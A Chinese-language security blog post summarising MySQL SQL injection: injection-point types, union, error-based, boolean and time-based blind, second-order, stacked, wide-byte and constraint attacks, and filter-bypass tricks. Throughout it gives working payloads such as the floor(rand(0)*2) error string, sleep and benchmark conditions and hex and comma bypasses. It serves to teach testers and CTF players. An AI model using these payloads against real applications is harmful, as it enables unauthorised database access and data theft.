hu1y40's blog

hu1y40'blog
天堂的穹空遍布地狱之火的颜色,但也是天堂。
  1. 首页
  2. 漏洞分析
  3. WEB
  4. SQL注入
  5. 正文

SQL注入总结

2023年10月7日 1861点热度 1人点赞 0条评论

SQL注入

注入点探测

注入点类型

数字型

通过2-1与1的回显结果判断是否为数字型注入。有可能被()或者(())括起来。

字符型

注入点被' '," "包围,用单引号闭合并且注释掉后续的内容即可注入。同理可能被(),(())包裹。

注入点位置

  1. post表单
  2. http报文的某些字段 如cookie reffer等
  3. get参数

常用函数

系统函数

  1. version() --- 获取mysql版本
  2. user() --- 数据库用户名
  3. database() --- 数据库名称
  4. @@datadir --- 数据库路径
  5. @@version_compile_os --- 操作系统版本
  6. LENGTH(str) --- 返回字符串的长度
  7. PI() --- 返回π的具体数值

字符串拼接函数

  1. concat(str1,str2,...) --- 没有分隔符的链接字符串
  2. concat_ws(separator,str1,str2,...) --- 有分隔符
  3. group_concat(str1,str2,...) --- 输出一个组的所有数据项内容,用,链接
  4. SUBSTRING() --- 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)
  5. RIGHT(str,len) --- 对指定字符串从最右边截取指定长度
  6. LEFT(str,len) --- 对指定字符串从最左边截取指定长度
  7. RPAD(str,len,padstr) --- 在 str 右方补齐 len 位的字符串 padstr,返回新字符串。如果 str 长度大于 len,则返回值的长度将缩减到 len 所指定的长度
  8. LPAD(str,len,padstr) --- 与RPAD相似,在str左边补齐
  9. MID(str,pos,len) --- 同于 SUBSTRING(str,pos,len)
  10. INSERT(str,pos,len,newstr) --- 在原始字符串 str 中,将自左数第 pos 位开始,长度为 len 个字符的字符串替换为新字符串 newstr,然后返回经过替换后的字符串。INSERT(str,len,1,0x0)可当做截取函数
  11. MAKE_SET(bits,str1,str2,…) --- 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))

联合注入

UNION

union操作用来合并两个或者多个结果集,其多个结果集需要有相同数量的字段数(列)。

报错注入

源于mysql的报错信息会回显,而报错语句中的一些函数会执行后返回。

floor()

id=1' and (select 1 from ( select count(*),concat( user(),floor( rand(0)*2 ))x from information_schema.tables group by x)a) --+

原理

floor()函数为向下取整

rand()返回一个大于0小于1的浮点数

rand(0)设置随机数种子为1

使用floor(rand(0)*2)时,返回的值一直为011011

group by时, 会创建一个虚拟表统计主键

语句执行的时候会建立一个虚拟表,整个工作流程大致如下。开始查询数据时,读取数据库数据,查看虚拟表是否存在,不存在则插入新记录, 存在则count (*)字段直接加

1.查询前默认会建立空虚拟表。

2.取第一条记录,执行floor(rand(0)2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录

3.查询第二条记录,再次计算floor(rand(0)2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕查询完毕

4.查询第三条记录,再次计算floor(rand(0)2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。

例子

fig:

and (select 1 from ( payload,floor(rand(0)*2))x from information_schema.schemata group by x )a ) --+

updatexml()和extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

原理

updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。我们输入的显然不符合。故报错。

例子

fig:

geometrycollection()

geometrycollection((select * from(select * from(select user())a)b));

multipoint()

multipoint((select * from(select * from(select user())a)b));

polygon()

polygon((select * from(select * from(select user())a)b));

multipolygon()

multipolygon((select * from(select * from(select user())a)b));

linestring()

linestring((select * from(select * from(select user())a)b));

multilinestring()

multilinestring((select * from(select * from(select user())a)b));

exp()

exp(~(select * from(select user())a));

布尔盲注

当返回的值只有true或者false类型。

通过ascii(substr({查询语句},{index},1))<115 --+来爆破,此处可以利用算法来优化爆破过程。

order by

order by rand(true)和order by rand(false)的排序不同。可以通过这个来判断表达式的真假。

时间盲注

sleep()

if({表达式},sleep(1),0),通过sleep函数以及回显的时间判断表达式的真假

benchmark()

通过大量运算来延时

if({表达式},benchmark(10000000,sha(1)),0)

笛卡尔积

if({表达式},(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

二次注入

二次注入就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题

假如登录/注册处的SQL语句没有可以注入的地方,并将username储存在session中,而在登录之后页面查询语句没有过滤,为:

select * from users where username=’$_SESSION[‘username’]’

则我们在注册的时候便可将注入语句写入到session中,在登录后再查询的时候则会执行SQL语句:

如username=admin’#,登录后查询语句为:

select * from users where username='admin' #'

就构成了SQL注入。

堆叠注入

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

当使用了这个函数时,可以一次性输入多条sql语句改变数据库内容。

宽字节注入

当单引号被转义,但数据库使用的编码是gbk编码(两个字节表示一个字符的时候),%df会与反斜杠闭合形成一个新的字符从而闭合单引号。

username = %df'

# 经gbk解码后变为:

select * from users where username ='運'#

Latin1编码

Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略

于是我们可以输入?username=admin%c2,存储至表中就变为了admin

上面的%c2可以换为%c2-%ef之间的任意字符

sql约束攻击

假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。

则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。

绕过

大小写绕过

混合使用大小写SeLEct

双写绕过

preg_replace(‘/select/‘,’’,input)未递归删除输入字符串

selselectect

添加注释

/*! */类型的注释,内部的语句会被执行

使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:

select column_name from information_schema.columns where table_name=0x7573657273;

0x7573657273为users的16进制

常用的字符替代

and -> &&

or -> ||

空格-> /**/ -> %a0 -> %0a -> +

# -> --+ -> ;%00(php<=5.3.4) -> or '1'='1

= -> like -> regexp -> <> -> in

注:regexp为正则匹配,利用正则会有些新的注入手段

逗号被过滤

用join代替:

-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23

limit:

limit 2,1
limit 1 offset 2

substr:

substr(database(),5,1)
substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个
substr(database() from 5)
如果for也被过滤了
mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同

if:

if(database()=’xxx’,sleep(3),1)
id=1 and databse()=’xxx’ and sleep(3)
select case when database()=’xxx’ then sleep(5) else 0 end

limit被过滤

select user from users limit 1

加限制条件,如:

select user from users group by user_id having user_id = 1 (user_id是表中的一个column)

杂项

  1. mysql中and的运算优先级大于or
  2. &的优先级大于=
标签: 总结 漏洞
最后更新:2023年10月7日

hu1y40

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复
文章目录
  • SQL注入
    • 注入点探测
      • 注入点类型
      • 注入点位置
    • 常用函数
      • 系统函数
      • 字符串拼接函数
    • 联合注入
      • UNION
    • 报错注入
      • floor()
      • updatexml()和extractvalue()
      • geometrycollection()
      • multipoint()
      • polygon()
      • multipolygon()
      • linestring()
      • multilinestring()
      • exp()
    • 布尔盲注
    • 时间盲注
    • 二次注入
    • 堆叠注入
    • 宽字节注入
    • Latin1编码
    • sql约束攻击
    • 绕过
      • 大小写绕过
      • 双写绕过
      • 添加注释
      • 使用16进制绕过特定字符
      • 常用的字符替代
      • 逗号被过滤
      • limit被过滤
    • 杂项

分类目录

  • 0day安全
  • Bypass
  • C++Prime
  • CTF
  • DoS
  • DoS
  • FUZZ
  • iot
  • JSONP
  • MISC
  • MISC
  • PHP伪协议
  • Python
  • REVERSE
  • sqli-labs
  • SQL注入
  • Trick
  • UAF
  • WEB
  • WEB
  • XXE
  • 书籍阅读
  • 二进制
  • 代码阅读
  • 信息搜集
  • 信息泄露
  • 加密与解密
  • 双重释放漏洞
  • 反序列化
  • 命令执行
  • 命令执行
  • 堆溢出
  • 密码学
  • 弱加密
  • 提权漏洞
  • 整数溢出
  • 文件上传
  • 未分类
  • 栈溢出
  • 格式化字符串漏洞
  • 模型
  • 汇编语言
  • 渗透测试
  • 漏洞分析
  • 漏洞利用
  • 漏洞战争
  • 漏洞挖掘
  • 病毒分析
  • 越界读取
  • 路径遍历
  • 逻辑漏洞
  • 配置不当
  • 钓鱼
  • 靶场
最新 热点 随机
最新 热点 随机
加密算法 2023年度总结 RTSPServer StackOverflow Vulnerability FUZZ 总览篇 MP4Box 无限循环漏洞 CVE-2023-40477 Winrar RCE漏洞分析
Cobalt Strike 初探 PE结构解析 钓鱼手法 加密与解密 第12章实验 FUZZ 总览篇 CVE-2019-13990 Quartz XXE漏洞

COPYRIGHT © 2023 hu1y40's blog. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

鄂ICP备2021009673号-1